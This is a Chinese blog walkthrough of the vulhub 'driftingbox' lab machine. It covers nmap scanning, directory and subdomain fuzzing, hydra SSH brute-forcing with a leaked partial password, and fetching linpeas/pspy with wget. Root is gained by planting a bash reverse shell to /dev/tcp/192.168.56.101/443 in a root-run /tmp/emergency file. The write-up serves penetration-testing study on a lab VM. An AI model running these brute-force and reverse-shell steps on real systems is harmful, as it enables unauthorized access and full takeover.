vulhub打靶记录——driftingbox

文章目录

    • 主机发现
    • 端口扫描
    • 目录扫描
    • 爆破子域名
    • 提权
    • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.106:靶机IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,linux上的远程登录协议))、80(http,web服务)。

  • 通常情况,先对80端口的web服务进行渗透。
  • 考虑到实际情况中,使用漏洞扫描器(nikto)有很大的风险,在以后的实验中不再使用漏扫工具。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.106 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
发现并没有有啥用的信息~,查看80端口上的网站源码。
在这里插入图片描述
发现一段经过base64编码后的字符串,拿去解码,得到/noteforkingfish.txt这样一个路径。访问192.168.56.106/noteforkingfish.txt
在这里插入图片描述
Brainfuck/Ook! Obfuscation/Encoding对上述密文进行解密。
在这里插入图片描述
就是说让你用域名去访问这个网站,然后再网页上发现driftingblues.box这个域名。

在这里插入图片描述

vim /etc/hosts # 修改host文件

# 内容
192.168.56.106 driftingblues.box

source /etc/hosts # 重新加载

爆破子域名

拿到域名之后就可以用wfuzz爆破子域名

wfuzz -H 'HOST:FUZZ.driftingblues.box' -u 'http://192.168.56.106' -w <directory> --hw 570,53

在这里插入图片描述

570,53是返回的word数,--hw 570,53是隐藏返回word为570和53的子域名爆破情况。

发现一个test的子域名,此时需要将test.driftingblues.box写入hosts文件,才能访问到该域名。

vim /etc/hosts # 修改host文件

# 内容
192.168.56.106 test.driftingblues.box

source /etc/hosts # 重新加载

访问test.driftingblues.box,发现返回work in progress,相当于网站正在建设…

在这里插入图片描述
但是不影响进行目录扫描。

dirsearch -u http://test.driftingblues.box -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
访问test.driftingblues.box/robots.txt
在这里插入图片描述
发现了http://test.driftingblues.box/ssh_cred.txt可以访问,且发现ssh的密码,但是密码不全,密码最后缺少一个数字。需要爆破ssh
在这里插入图片描述
现在我们知道了密码就是1mw4ckyyucky[0-9],然后用户名就是sheryl or eric。先把所有可能的密码保存到一个文件中。再使用hydra爆破ssh

hydra -l eric -P <directory> -t 30 192.168.56.106 ssh -f -vV

-l:用户名;
-P:密码;必须为大写P
-t:线程;
ssh:协议名称,这里是ssh,hydra支持多种协议;
-f:爆破成功就退出;
-vV:输出详细信息。

在这里插入图片描述
ssh的用户名为eric,密码为1mw4ckyyucky6

提权

ssh登录远程主机。

ssh eric@192.168.56.106 -P 1mw4ckyyucky6

在这里插入图片描述
进入/home,查看有哪些用户,并进入eric目录。
在这里插入图片描述
发现eric目录下,并没有什么东西。
在这里插入图片描述
再搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
发现并没有特殊的文件。再查看定时任务cat /etc/crontab
在这里插入图片描述
上传自动化提权脚本linPEAS,部署http服务,命令:

python3 -m http.server 80

在靶机上通过web服务下载linpeas脚本,命令:

wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本

在这里插入图片描述

这个脚本显示的东西属实有点多~

uname -a # 查看操作系统位数

在这里插入图片描述

使用同样的方法,往靶机上上传papy64

wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本

系统上有些定时任务并不是通过操作系统(linux,/etc/crontab)进行配置,而pspy脚本会检测系统中运行的进程。

在这里插入图片描述
发现:系统隔一分钟就会执行下面几条命令:

/usr/bin/zip -r -0 /tmp/backup.zip /var/www/ # 将/var/www下的所有文件压缩到/tmp/bakup.zip文件中
/bin/sh /var/backups/backup.sh # 执行/var/backups/backup.sh
/bin/sh -c /bin/sh /var/backups/backup.sh 
/usr/sbin/CRON -f  # 以前台模式启动CRON任务调度服务。
/bin/chmod 
sudo /tmp/emergency
  • zip-r表示将指定的文件或目录及其子目录递归地压缩到一个压缩文件中,-0表示覆盖已存在的压缩文件,并不需要用户确认;
  • /usr 目录通常包含系统级别的应用程序和命令,而 /usr/sbin 目录专门用于存放需要超级用户权限(root权限)才能执行的系统管理命令或服务。

查看/var/backups/backup.sh
在这里插入图片描述
注意:每一分钟执行baskup.sh时,uid=0说明是root用户执行这个脚本。
而且,sudo /tmp/emergency命令是以root用户的权限去执行/tmp/emergency,现在/tmp/emergency并不存在,我们新建一个mp/emergency,里面放反弹shell,再赋予可执行权限,是不是就可以拿到root用户的shell了呢?

在这里插入图片描述
emergency中写入以下内容:

#!/bin/bash
bash -i >& /dev/tcp/192.168.56.101/443 0>&1

在这里插入图片描述
监听443端口,获取root用户的shell。

nc -nlvp 443

在这里插入图片描述
在这里插入图片描述

总结

渗透思路:

  1. 端口扫描,获取主机开放22、80端口;
  2. 对80端口,目录扫描;
  3. 查看网站源代码,发现base64编码的字符串,解码得到一个路径;
  4. 访问解码得到的路径,获得经过0ok编码的字符串,解码得到:主机ssh部分登录密码;
  5. hydra爆破ssh服务,成功登录;
  6. pspy64脚本实时监控系统进程,发现/var/backups/backup.sh按规律执行;
  7. emergency中写入反弹shell,系统自动执行,获取root shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/504664.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

回溯算法|39.组合总和

力扣题目链接 class Solution { private:vector<vector<int>> result;vector<int> path;void backtracking(vector<int>& candidates, int target, int sum, int startIndex) {if (sum > target) {return;}if (sum target) {result.push_back…

IDEA 详细设置

详细设置 如何打开详细配置界面 1、显示工具栏 2、选择详细配置菜单或按钮 系统设置 默认启动项目配置 启动IDEA时&#xff0c;默认自动打开上次开发的项目&#xff1f;还是自己选择&#xff1f; 如果去掉Reopen projects on startup前面的对勾&#xff0c;每次启动IDEA就会…

【软件安装教程】IDEA

【软件安装教程】IDEA 系统: Windows11 64位版本: ideaIC-2023.3.6官方地址: Jetbrains网盘地址: 百度网盘 下载 处于成本考虑就直接用社区版了&#xff0c;如果专业版配置过程都一样 安装 双击下载的文件 根据电脑存储选择一个合适的地址后点击下一步 选择配置&#…

鸿蒙OS(ArkTS) 案例:【使用http网络请求框架加载验证码】

需求&#xff1a;加载验证码&#xff1b;1.下载验证码图像文件&#xff1b;2.获取header里面验证码ID 踩坑--踩坑--踩坑 根据文档使用 request.downloadFile 请求&#xff0c;官方示例: // pages/xxx.ets // 将网络资源文件下载到应用文件目录并读取一段内容 import common …

Mac使用“Workstation”安装双系统

## 选择虚拟机 Mac推荐使用“VMware” 优点 1.个人版是免费的 2.界面清晰&#xff0c;运行流程 3.使用人群广&#xff0c;遇到问题容易解决 版本比较 VMware Workstation Pro 和 VMware Workstation Player 个人使用推荐 VMware Workstation Player &#xff0c;因为个人的…

二十四种设计模式与六大设计原则(四):【状态模式、原型模式、中介者模式、解释器模式、享元模式、备忘录模式】的定义、举例说明、核心思想、适用场景和优缺点

接上次博客&#xff1a;二十四种设计模式与六大设计原则&#xff08;三&#xff09;&#xff1a;【装饰模式、迭代器模式、组合模式、观察者模式、责任链模式、访问者模式】的定义、举例说明、核心思想、适用场景和优缺点-CSDN博客 目录 状态模式【State Pattern】 定义 举…

Python之numpy:常用运算广播机制

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、numpy运算二、常见运算1.ufunc函数2.复合赋值运算符3.判断符 二、聚合函数三、唯一化、集合四、numpy广播机制 一、numpy运算 numpy有两种基本对象&#xff1a…

【linux】AMD GPU和NVIDIA GPU驱动安装

AMD GPUs - Radeon™ PRO W7900的驱动安装过程 要在Linux系统上安装AMD的Radeon™ PRO W7900显卡驱动程序&#xff0c;通常需要执行以下步骤。以下示例基于Ubuntu系统&#xff1b;其他Linux发行版的具体步骤可能有所不同。 1. 更新系统 打开一个终端窗口&#xff0c;并输入…

redis学习-主从复制和哨兵模式

目录 1. 主从复制&#xff0c;读写分离 1.1 介绍 1.2 使用命令介绍 1.3 实现 1.4全量复制和增量复制 2.哨兵模式 1. 主从复制&#xff0c;读写分离 1.1 介绍 指的是将一台redis服务器中的数据复制到其他redis服务器&#xff0c;前者称为主机&#xff0c;后者称为从机&#xf…

C++刷题篇——04找等值元素

一、题目 二、解题思路 1、分割后放进二维数组 2、使用map&#xff0c;key为数值&#xff0c;value为其坐标 3、遍历二维数组元素&#xff0c;再在map中找该元素对应的value值&#xff08;二维数组形式&#xff09;&#xff0c;倘若value.size为1&#xff0c;那直接返回-1&…

嵌入式第一部分-第一集:ARM那些你得知道的事

ARM&#xff1a;Advanced RISC Machine&#xff0c;先进精简指令集机器 ARM公司只做设计&#xff0c;不生产。 国内IC生产厂商&#xff1a;华为海思、全志、瑞芯微、MTK&#xff08;联发科&#xff09; 扩展&#xff1a;ARM的商业模式了解。 使用三星S5PV210开发板进行视频的讲…

改进的图像LSB加密算法:Matrix encoding embedding

参考文献1 Visually secure image encryption using adaptive-thresholding sparsification and parallel compressive sensing 算法实现 简单说明 算法步骤概述 定义函数f:这个函数用于计算给定码字b的一个特定值,此值将与秘密信息x进行比较。这个计算涉及到将码字b的每一…

基于springboot+vue+Mysql的新生宿舍管理系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

Redis命令-Set命令

基础篇Redis 4.7 Redis命令-Set命令 Redis的Set结构与Java中的HashSet类似&#xff0c;可以看做是一个value为null的HashMap。因为也是一个hash表&#xff0c;因此具备与HashSet类似的特征&#xff1a; 无序元素不可重复查找快支持交集.并集.差集等功能 Set类型的常见命令 …

Linux:查看系统各个组件性能的方法

查看cpu top 还有更为直观的 htop 可以同时看到&#xff0c;内存占用&#xff0c;cpu占用&#xff0c;交换内存的占用 vmstat 是比较综合的可以看到内存&#xff0c;交换内存&#xff0c;io吞吐&#xff0c;系统&#xff0c;cpu 查看内存 free -h 可以看懂内存的使用情况 …

web 技术中前端和后端交互过程

1、客户端服务器交互过程 客户端:上网过程中,负责浏览资源的电脑,叫客户端服务器:在因特网中,负责存放和对外提供资源的电脑叫服务器 服务器的本质: 就是一台电脑,只不过相比个人电脑它的性能高很多,个人电脑中可以通过安装浏览器的形式,访问服务器对外提供的各种资源。 个人…

scratch小动物的晚会 2024年3月中国电子学会图形化编程 少儿编程 scratch编程等级考试一级真题和答案解析

目录 scratch小动物的晚会 一、题目要求 1、准备工作 2、功能实现 二、案例分析 1、角色分析 2、背景分析 3、前期准备 三、解题思路 1、思路分析 2、详细过程 四、程序编写 五、考点分析 六、 推荐资料 1、入门基础 2、蓝桥杯比赛 3、考级资料 4、视频课程 …

CVAE-GAN——生成0-9数字图像(Pytorch+mnist)

1、简介 CVAE-GAN&#xff08;Conditional Variational Autoencoder Generative Adversarial Network&#xff09;是一种混合型生成模型&#xff0c;结合了条件变分自编码器&#xff08;CVAE&#xff09;和生成对抗网络&#xff08;GAN&#xff09;的思想。在CVAE-GAN中&#…

我的C++奇迹之旅相遇:支持函数重载的原理

文章目录 &#x1f4dd;前言&#x1f320; C支持函数重载的原理&#xff1a;名字修饰(name Mangling)&#x1f309;不同编译器不同函数名修饰规则 &#x1f320;Windows下名字修饰规则&#x1f6a9;总结 &#x1f4dd;前言 函数重载概念 函数重载&#xff1a;是函数的一种特殊…

加密/ 解密 PDF:使用Python为PDF文档设置、移除密码

在数字化时代&#xff0c;文档的安全性变得越来越重要。特别是对于包含敏感信息的PDF文件&#xff0c;确保其不被未经授权的人员访问或修改是至关重要的。本文将介绍如何使用Python在PDF文档中设置密码&#xff0c;以及如何移除已经设置的密码。 目录 PDF加密基础知识 Pytho…